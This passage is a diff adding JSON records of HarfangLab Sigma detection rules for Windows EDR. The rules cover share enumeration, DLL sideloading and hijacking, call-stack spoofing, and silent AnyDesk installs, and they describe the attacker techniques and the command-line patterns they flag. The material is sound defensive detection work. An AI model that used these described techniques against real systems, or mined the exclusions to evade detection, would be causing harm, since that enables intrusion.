+  "hl_testing_start_time": "2026-03-23T11:45:34.083486Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2020/04/30/tricky-pyxie/",
+    "https://attack.mitre.org/techniques/T1135/"
+  ],
+  "name": "t1135_net_share.yml",
+  "content": "title: Local SMB Shares Enumerated via net.exe\nid: b12c49d5-235d-4f76-978f-983e26a93de7\ndescription: |\n    Detects the execution of 'net1.exe' with 'share' argument.\n    Adversaries can use 'net share' during the discovery phase to query shared drives on the local system.\n    It is recommended to investigate the parent process for suspicious activities.\n    If this activity is recurrent in your environment, it is highly recommended to whitelist the software or scripts responsible for this action.\nreferences:\n    - https://thedfirreport.com/2020/04/30/tricky-pyxie/\n    - https://attack.mitre.org/techniques/T1135/\ndate: 2022/11/14\nmodified: 2025/05/14\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1135\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\net1.exe'\n        # Renamed binaries\n        - OriginalFileName: 'net1.exe'\n\n    selection_commandline:\n        CommandLine|contains: ' share'\n        GrandparentImage|startswith: '?:\\'\n\n    filter_net:\n        CommandLine|startswith:\n            - '?:\\Windows\\system32\\net1 start '\n            - '?:\\Windows\\system32\\net1 stop '\n            - '?:\\WINDOWS\\system32\\net1 use '\n\n    exclusion_programfiles:\n        GrandparentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_gathernetwork:\n        GrandparentCommandLine: '?:\\Windows\\System32\\cmd.exe /c net share >> config\\FileSharing.txt'\n\n    exclusion_ipam:\n        - CommandLine|startswith: '?:\\Windows\\system32\\net1 share dhcpaudit=?:\\Windows\\system32\\dhcp /grant:IPAMUG@'\n        - GrandparentCommandLine|contains: '\\Machine\\Scripts\\Startup\\ipamprovisioning.ps1 DHCP IPAMUG'\n\n    exclusion_connectwise:\n        GrandparentImage: '?:\\Windows\\LTSvc\\LTSVC.exe'\n\n    exclusion_services:\n        Ancestors|endswith: '|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n\n    exclusion_berger-levrault:\n        CommandLine: '?:\\Windows\\system32\\net1 share editions$=?:\\Berger-Levrault\\SM\\editions'\n\n    exclusion_centrastage:\n        GrandparentCommandLine: '?:\\Windows\\system32\\cmd.exe /c ?:\\ProgramData\\CentraStage\\Packages\\\\*#\\command.bat'\n\n    exclusion_septeo:\n        ProcessGrandparentImage|endswith: '\\eSeasonLiveUpdateServeurService.exe'\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignature: 'SAS SEPTEO HOSPITALITY SOLUTIONS'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b12c49d5-235d-4f76-978f-983e26a93de7",
+  "rule_name": "Local SMB Shares Enumerated via net.exe",
+  "rule_description": "Detects the execution of 'net1.exe' with 'share' argument.\nAdversaries can use 'net share' during the discovery phase to query shared drives on the local system.\nIt is recommended to investigate the parent process for suspicious activities.\nIf this activity is recurrent in your environment, it is highly recommended to whitelist the software or scripts responsible for this action.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-05-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1135"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b13d158e-75df-4ac8-9c77-d0b173c027f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071233Z",
+  "creation_date": "2026-03-23T11:45:34.071235Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071239Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.reliaquest.com/blog/double-extortion-attack-analysis/",
+    "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/",
+    "https://attack.mitre.org/techniques/T1036/005/"
+  ],
+  "name": "t1036_005_dll_load_from_debug_folder.yml",
+  "content": "title: DLL Loaded from Debug Folder\nid: b13d158e-75df-4ac8-9c77-d0b173c027f1\ndescription: |\n    Detects the suspicious loading of a DLL from the \"\\Windows\\Debug\" folder.\n    This is an uncommon directory for DLLs, often exploited by attackers for malicious purposes.\n    It is recommended to analyze the loaded DLL for malicious content, check file integrity, and review process behavior to identify potential threats.\nreferences:\n    - https://www.reliaquest.com/blog/double-extortion-attack-analysis/\n    - https://securelist.com/toddycat-keep-calm-and-check-logs/110696/\n    - https://attack.mitre.org/techniques/T1036/005/\ndate: 2023/12/22\nmodified: 2025/02/07\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.005\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|startswith: '?:\\windows\\debug\\'\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b13d158e-75df-4ac8-9c77-d0b173c027f1",
+  "rule_name": "DLL Loaded from Debug Folder",
+  "rule_description": "Detects the suspicious loading of a DLL from the \"\\Windows\\Debug\" folder.\nThis is an uncommon directory for DLLs, often exploited by attackers for malicious purposes.\nIt is recommended to analyze the loaded DLL for malicious content, check file integrity, and review process behavior to identify potential threats.\n",
+  "rule_creation_date": "2023-12-22",
+  "rule_modified_date": "2025-02-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b144a6e6-ed47-40a0-a45b-6a1928f2c29d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070065Z",
+  "creation_date": "2026-03-23T11:45:34.070067Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070072Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_rem_thr_callstack_spoofing_related_to_vulcan_raven.yml",
+  "content": "title: Spoofed Thread Call Stack Related to VulcanRaven\nid: b144a6e6-ed47-40a0-a45b-6a1928f2c29d\ndescription: |\n    Detects arbitrary call stacks related to the VulcanRaven PoC.\n    VulcanRaven employs call stack spoofing techniques to evade detection by EDR solutions, it manipulates thread call stacks to appear as legitimate Windows system operations, making malicious activities blend in with normal system behavior.\n    Attackers may try to bypass EDR behavioral detection by forging call stacks that mimic trusted system processes and libraries, thereby evading stack-based heuristics and memory analysis.\n    It is recommended to investigate the source process, validate the legitimacy of the call chain, examine memory for inconsistencies, and correlate with other suspicious activities from the same process or parent process.\nreferences:\n    - https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2025/08/25\nmodified: 2025/11/25\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055.001\n    - classification.Windows.Source.Thread\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.MemoryExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: remote_thread\ndetection:\n    selection_wmi_callstack:\n        MinimalStackTrace|contains|all:\n            - 'kernelbase.dll'\n            - 'CorperfmonExt.dll'\n            - 'kernel32.dll'\n            - 'ntdll.dll'\n        StackTrace|contains:\n            - 'CorperfmonExt.dll+0xc669'\n            - 'CorperfmonExt.dll+0xc71b'\n            - 'CorperfmonExt.dll+0x2fde'\n\n    selection_sysmain_callstack:\n        MinimalStackTrace|contains|all:\n            - 'kernelbase.dll'\n            - 'sysmain.dll'\n            - 'svchost.exe'\n            - 'sechost.dll'\n        StackTrace|contains:\n            - 'sysmain.dll+0x80e5f'\n            - 'sysmain.dll+0x60ce6'\n            - 'sysmain.dll+0x2a7d3'\n\n    selection_rpc_callstack:\n        MinimalStackTrace|contains|all:\n            - 'kernelbase.dll'\n            - 'lsm.dll'\n            - 'RPCRT4.dll'\n        StackTrace|contains:\n            - 'RPCRT4.dll+0x79633'\n            - 'RPCRT4.dll+0x13711'\n            - 'RPCRT4.dll+0xdd77b'\n            - 'lsm.dll+0xe959'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b144a6e6-ed47-40a0-a45b-6a1928f2c29d",
+  "rule_name": "Spoofed Thread Call Stack Related to VulcanRaven",
+  "rule_description": "Detects arbitrary call stacks related to the VulcanRaven PoC.\nVulcanRaven employs call stack spoofing techniques to evade detection by EDR solutions, it manipulates thread call stacks to appear as legitimate Windows system operations, making malicious activities blend in with normal system behavior.\nAttackers may try to bypass EDR behavioral detection by forging call stacks that mimic trusted system processes and libraries, thereby evading stack-based heuristics and memory analysis.\nIt is recommended to investigate the source process, validate the legitimacy of the call chain, examine memory for inconsistencies, and correlate with other suspicious activities from the same process or parent process.\n",
+  "rule_creation_date": "2025-08-25",
+  "rule_modified_date": "2025-11-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b150c8ae-7c90-484f-895b-8905784895c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601382Z",
+  "creation_date": "2026-03-23T11:45:34.601386Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601393Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/SBousseaden/status/1558916870937395200?t=0_vqv6hJ0-dyKJJTSdSATw&s=19",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_javacpl.yml",
+  "content": "title: DLL Hijacking via javacpl.exe\nid: b150c8ae-7c90-484f-895b-8905784895c8\ndescription: |\n    Detects potential Windows DLL Hijacking via javacpl.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying the legitimate javacpl executable alongside a malicious msvcr100.dll.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://twitter.com/SBousseaden/status/1558916870937395200?t=0_vqv6hJ0-dyKJJTSdSATw&s=19\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/08/22\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'javacpl.exe'\n        ProcessSignature: 'Oracle America, Inc.'\n        ImageLoaded|endswith:\n            - '\\msvcr100.dll'\n            - '\\msvcr100_clr0400.dll'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Company: 'Microsoft Corporation'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b150c8ae-7c90-484f-895b-8905784895c8",
+  "rule_name": "DLL Hijacking via javacpl.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via javacpl.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying the legitimate javacpl executable alongside a malicious msvcr100.dll.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-08-22",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b167c502-a7cd-4785-8c74-8a3947de4a7f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081980Z",
+  "creation_date": "2026-03-23T11:45:34.081982Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081986Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://www.elastic.co/fr/security-labs/exploring-the-ref2731-intrusion-set",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msimerg.yml",
+  "content": "title: DLL Hijacking via MsiMerg.exe\nid: b167c502-a7cd-4785-8c74-8a3947de4a7f\ndescription: |\n    Detects potential Windows DLL Hijacking via the Microsoft developer tool MsiMerg.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://www.elastic.co/fr/security-labs/exploring-the-ref2731-intrusion-set\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/11/04\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'MsiMerg.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith: '\\msi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Windows Kits\\10\\bin\\\\*\\x??\\'\n            - '?:\\Program Files\\Windows Kits\\10\\bin\\\\*\\x??\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b167c502-a7cd-4785-8c74-8a3947de4a7f",
+  "rule_name": "DLL Hijacking via MsiMerg.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via the Microsoft developer tool MsiMerg.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-11-04",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b1782bf1-6bfb-4197-a276-32e83634bc02",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081763Z",
+  "creation_date": "2026-03-23T11:45:34.081765Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081769Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://www.elastic.co/fr/security-labs/exploring-the-ref2731-intrusion-set",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msifiler.yml",
+  "content": "title: DLL Hijacking via MsiFiler.exe\nid: b1782bf1-6bfb-4197-a276-32e83634bc02\ndescription: |\n    Detects potential Windows DLL Hijacking via the Microsoft developer tool MsiFiler.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://www.elastic.co/fr/security-labs/exploring-the-ref2731-intrusion-set\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/11/04\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'MsiFiler.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith: '\\msi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Windows Kits\\10\\bin\\\\*\\x??\\'\n            - '?:\\Program Files\\Windows Kits\\10\\bin\\\\*\\x??\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b1782bf1-6bfb-4197-a276-32e83634bc02",
+  "rule_name": "DLL Hijacking via MsiFiler.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via the Microsoft developer tool MsiFiler.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-11-04",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b1800ae4-33f9-442e-b207-30f8f0d1f199",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622704Z",
+  "creation_date": "2026-03-23T11:45:34.622706Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622710Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2022/03/07/2021-year-in-review/",
+    "https://twitter.com/TheDFIRReport/status/1498672358843953152",
+    "https://support.anydesk.com/knowledge/command-line-interface-for-windows",
+    "https://attack.mitre.org/techniques/T1219/002/"
+  ],
+  "name": "t1219_002_suspicious_anydesk.yml",
+  "content": "title: Suspicious AnyDesk Execution\nid: b1800ae4-33f9-442e-b207-30f8f0d1f199\ndescription: |\n    Detects a suspicious execution of AnyDesk.\n    AnyDesk is a remote desktop software that allows users to access and control computers remotely.\n    This tool is frequently used by ransomware groups to gain remote access on system.\n    It is recommended to verify if the usage of this tool is legitimate and to look for potential malicious actions.\nreferences:\n    - https://thedfirreport.com/2022/03/07/2021-year-in-review/\n    - https://twitter.com/TheDFIRReport/status/1498672358843953152\n    - https://support.anydesk.com/knowledge/command-line-interface-for-windows\n    - https://attack.mitre.org/techniques/T1219/002/\ndate: 2022/03/11\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1219.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.RMM.AnyDesk\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\AnyDesk.exe'\n        - Product: 'AnyDesk'\n        - Description: 'AnyDesk'\n        - Company: 'AnyDesk Software GmbH'\n\n    selection_cmd1:\n        CommandLine|contains|all:\n          - '--install'\n          - '--start-with-win'\n          - '--silent'\n\n    selection_cmd2:\n        CommandLine|contains:\n          - '--set-password'\n          - '--get-id'\n\n    filter_options1:\n        CommandLine|contains: ' --create-shortcuts'\n    filter_options2:\n        CommandLine|contains:\n            - ' --update-manually'\n            - ' --update-auto'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_atera:\n        CommandLine: 'AnyDesk-????????_msi.exe --set-password'\n        GrandparentImage:\n            - '?:\\Program Files\\ATERA Networks\\AteraAgent\\Packages\\AgentPackageADRemote\\AgentPackageADRemote.exe'\n            - '?:\\Program Files (x86)\\ATERA Networks\\AteraAgent\\Packages\\AgentPackageADRemote\\AgentPackageADRemote.exe'\n            - '?:\\Program Files\\ATERA Networks\\AteraAgent\\Agent\\packages\\AgentPackageADRemote\\AgentPackageADRemote.exe'\n\n    exclusion_insaneremote:\n        CommandLine: '.\\InsaneRemote.exe --install ?:\\Program Files\\InsaneRMMAnydesk --remove-first --start-with-win --silent'\n        ParentCommandLine: '?:\\Program Files\\InsaneRMM\\InsaneRMM.exe install'\n\n    exclusion_wapt:\n        ProcessAncestors|contains: '|?:\\Program Files (x86)\\wapt\\wapt-get.exe|?:\\Program Files (x86)\\wapt\\waptservice.exe|'\n\n    condition: selection and 1 of selection_cmd* and not all of filter_options* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b1800ae4-33f9-442e-b207-30f8f0d1f199",
+  "rule_name": "Suspicious AnyDesk Execution",
+  "rule_description": "Detects a suspicious execution of AnyDesk.\nAnyDesk is a remote desktop software that allows users to access and control computers remotely.\nThis tool is frequently used by ransomware groups to gain remote access on system.\nIt is recommended to verify if the usage of this tool is legitimate and to look for potential malicious actions.\n",
+  "rule_creation_date": "2022-03-11",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
